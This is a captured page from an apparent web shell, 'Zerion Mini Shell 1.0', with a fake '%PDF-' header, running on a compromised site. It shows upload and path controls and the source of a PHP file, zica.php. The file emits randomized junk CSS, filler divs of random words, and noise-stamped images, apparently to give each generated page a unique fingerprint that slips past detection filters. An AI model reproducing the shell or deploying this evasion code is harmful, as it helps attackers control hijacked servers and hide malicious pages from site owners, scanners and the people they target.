%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/vacivi36/dossteste.vacivitta.com.br/vendor/
Upload File :
Create Path :
Current File : /home/vacivi36/dossteste.vacivitta.com.br/vendor/zica.php

<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
set_time_limit(0);
date_default_timezone_set("America/Sao_Paulo");
setlocale(LC_ALL, 'pt_BR');

$palavrasRandom = file_get_contents("palavrasRandom.txt");
$palavrasRandom = explode("\n",$palavrasRandom);

function imgZICA($img_arquivo){
    $im = imagecreatefrompng($img_arquivo);

    $trans_background = imagecolorallocatealpha($im, 0, 0, 0, 127);
    $background = imagecolorallocate($im , 0, 0, 0);

    imagefill($im, 0, 0, $trans_background);
    imagecolortransparent($im, $background);
    imagealphablending($im, false);
    imagesavealpha($im, true);

    $stamp = imagecreatetruecolor(rand(1,3), rand(1,5));
    $text_color = imagecolorallocate($im, rand(1,255), rand(1,255), rand(1,255));
    imagestring($stamp, 200, 200, 200, random_words(1, rand(10,50)), $text_color);
    $marge_right = 1;
    $marge_bottom = 1;
    $sx = imagesx($stamp);
    $sy = imagesy($stamp);

    imagefill($stamp, 0, 0, $trans_background);
    imagecolortransparent($stamp, $background);
    imagealphablending($stamp, false);
    imagesavealpha($stamp, true);

    imagecopymerge($im, $stamp, imagesx($im) - $sx - $marge_right, imagesy($im) - $sy - $marge_bottom, 0, 0, imagesx($stamp), imagesy($stamp), 50);
    
    $RandomIMG = sha1(uniqid(rand(), true)).".png";
    imagepng($im, './img_randons/'.$RandomIMG);
    imagedestroy($im);

    $base64 = file_get_contents('./img_randons/'.$RandomIMG);
    unlink('./img_randons/'.$RandomIMG);
    return base64_encode($base64);
}


function randomCSS_LINES(){
    $array = array();

    for ($i = 1; $i <= rand(30,80); $i++) {
        array_push($array,".".generateRandomString(rand(10,30)).' > * { -moz-box-align: stretch; align-items: stretch; display: flex; flex-wrap: wrap; margin: calc('.rand(10,500).'px); }');
    }
    
    for ($i = 1; $i <= rand(30,80); $i++) {
        array_push($array,".".generateRandomString(rand(10,25)).' { background-color: rgb('.rand(10,235).', '.rand(10,235).', '.rand(10,235).'); min-height: calc(-'.rand(10,500).'rem + '.rand(10,500).'vh); padding: '.rand(10,500).'rem; max-width: min('.rand(10,500).'vw, '.rand(10,500).'px); z-index: '.rand(10,500).'; box-shadow: rgba('.rand(10,235).', 55, 66, 0.03) '.rand(10,500).'px '.rand(10,500).'px '.rand(10,500).'px; }');
    }
    
    for ($i = 1; $i <= rand(30,80); $i++) {
        array_push($array,".".generateRandomString(rand(10,25)).' a img { max-height: '.rand(10,500).'px; margin-top: '.rand(10,500).'px; }');
    }
    
    for ($i = 1; $i <= rand(30,80); $i++) {
        array_push($array,".".generateRandomString(rand(10,25)).' { border-radius: '.rand(10,500).'.'.rand(10,500).'rem; text-align: center; min-width: '.rand(10,500).'ch; max-width: '.rand(10,500).'ch; padding: '.rand(10,500).'rem '.rand(10,500).'rem; background-color: rgb(224, '.rand(10,235).', '.rand(10,235).'); color: rgb(0, '.rand(10,235).', '.rand(10,235).'); }');
    }
    
    for ($i = 1; $i <= rand(30,80); $i++) {
        array_push($array,".".generateRandomString(rand(10,25)).' { padding: '.rand(10,500).'rem '.rand(10,500).'px; border-style: solid none solid solid; border-right: medium none rgb('.rand(10,235).', '.rand(10,235).', '.rand(10,235).'); border-color: rgb('.rand(10,235).', '.rand(10,235).', '.rand(10,235).'); }');
    }
    
    for ($i = 1; $i <= rand(30,80); $i++) {
        array_push($array,".".generateRandomString(rand(10,25)).' { background-color: rgb('.rand(10,235).', '.rand(10,235).', '.rand(10,235).'); border: '.rand(10,235).'px none; border-radius: 0.'.rand(10,235).'rem; color: rgb('.rand(10,235).', '.rand(10,235).', '.rand(10,235).'); cursor: pointer; display: flex; flex-direction: column; -moz-box-align: center; align-items: center; font-size: '.rand(10,235).'.'.rand(10,235).'rem; -moz-box-pack: center; justify-content: center; outline-color: rgb('.rand(10,235).', '.rand(10,235).', '.rand(10,235).'); padding: '.rand(10,235).'rem; box-shadow: rgba(0, '.rand(10,235).', 0, 0.1) '.rand(10,235).'px '.rand(10,235).'px '.rand(10,235).'px; transition: all '.rand(10,235).'.1s ease-in-out '.rand(10,235).'s; width: 100%; position: relative; min-width: '.rand(10,235).'ch; min-height: '.rand(10,235).'ch; }');
    } 

    shuffle($array);
    $linha = "";
    foreach ($array as $key => $value) {
    $linha .= '      '.$value."\n";
    }
    
    return "<style>\n".$linha."\n</style>";
}

function randomCSS(){
    $string = '';
    for ($i = 1; $i <= rand(10,20); $i++) {
        $string .= '      <link rel="stylesheet" type="text/css" href="./css/?'.sha1(uniqid(rand(), true)).'.css">';
        $string .= "\n";
    }

    return $string;
};

function gerarDivs($qnt){
    global $palavrasRandom;
     
    $randomDiv = array();


    for ($i = 1; $i <= $qnt; $i++) {
    
        $palavrasRandom_string = "";
        for ($a = 1; $a <= rand(30,100); $a++) {
           $palavrasRandom_string .= strtolower($palavrasRandom[rand(0,count($palavrasRandom) - 1)])." ";
        }
        $palavrasRandom_string = mb_substr($palavrasRandom_string, 0, -1);
        $palavrasRandom_string = preg_replace( "/\r|\n/", "", $palavrasRandom_string );

        $string = '<div id="'.random_words(1, rand(6,10)).'" class="'.RandomClass().'">'.$palavrasRandom_string.'</div>';
        
        array_push($randomDiv, $string);
    }


    shuffle($randomDiv); 
    $stringFinal = "";
    foreach ($randomDiv as $key => $value) {
        $space = "";
        for ($i = 1; $i <= rand(10,30); $i++) {
           $space .= " ";
        }

        $stringFinal .= $space.$value."\n";
    }
    $stringFinal = mb_substr($stringFinal, 0, -1);
    return $stringFinal;
}

function StringNoMeio($string) {
    $keywordsArr = array("overflowx", random_words(1, rand(6,10)));
    $dStringLength = strlen($string);
    $aStringContent = explode(' ', $string);
    $dLength = count($aStringContent);
    foreach ($keywordsArr as $key => $value) {
        $sRegularExperssion = "/$key/";
        $dNumberOfMatches = preg_match($sRegularExperssion, $string);
        if ($dNumberOfMatches >= $value) {
        } else if ($dNumberOfMatches >= 0) {
            $dRemainingTimes = $value - $dNumberOfMatches;
            $dStep = (int) ($dLength / $dRemainingTimes);
            for ($dIndex = 0; $dIndex < $dRemainingTimes; $dIndex++) {
                $dPosition = $dStep * $dIndex;
                array_splice($aStringContent, $dPosition, 0, $key);
            }
        }
    }
    $sResult = implode(' ', $aStringContent);

    return $sResult;
}

function RandomClass(){
    $string = "";
    $array = array();
    for ($i = 1; $i <= rand(5,10); $i++) {
       array_push($array, generateRandomString(rand(5,10)));
    }
    array_push($array, "overflowx");
    shuffle($array);

    foreach ($array as $key => $value) {
        $string .= $value." ";
    }
    return substr($string, 0, -1);
}

function random_words($words = 1, $length = 6){  
    $string = '';
    for ($o=1; $o <= $words; $o++){ 
         $vowels = array("a","e","i","o","u");  
         $consonants = array(
             'b', 'c', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'm', 
             'n', 'p', 'r', 's', 't', 'v', 'w', 'x', 'y', 'z'
         );  
      
         $word = '';
         for ($i = 1; $i <= $length; $i++)
         {
             $word .= $consonants[rand(0,19)];
             $word .= $vowels[rand(0,4)];
         }
         $string .= mb_substr($word, 0, $length);
         $string .= "-";
    }
 return mb_substr($string, 0, -1);
}

function generateRandomString($length = 10) {
 $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
 $charactersLength = strlen($characters);
 $randomString = '';
 for ($i = 0; $i < $length; $i++) {
     $randomString .= $characters[rand(0, $charactersLength - 1)];
 }
 return $randomString;
}

Zerion Mini Shell 1.0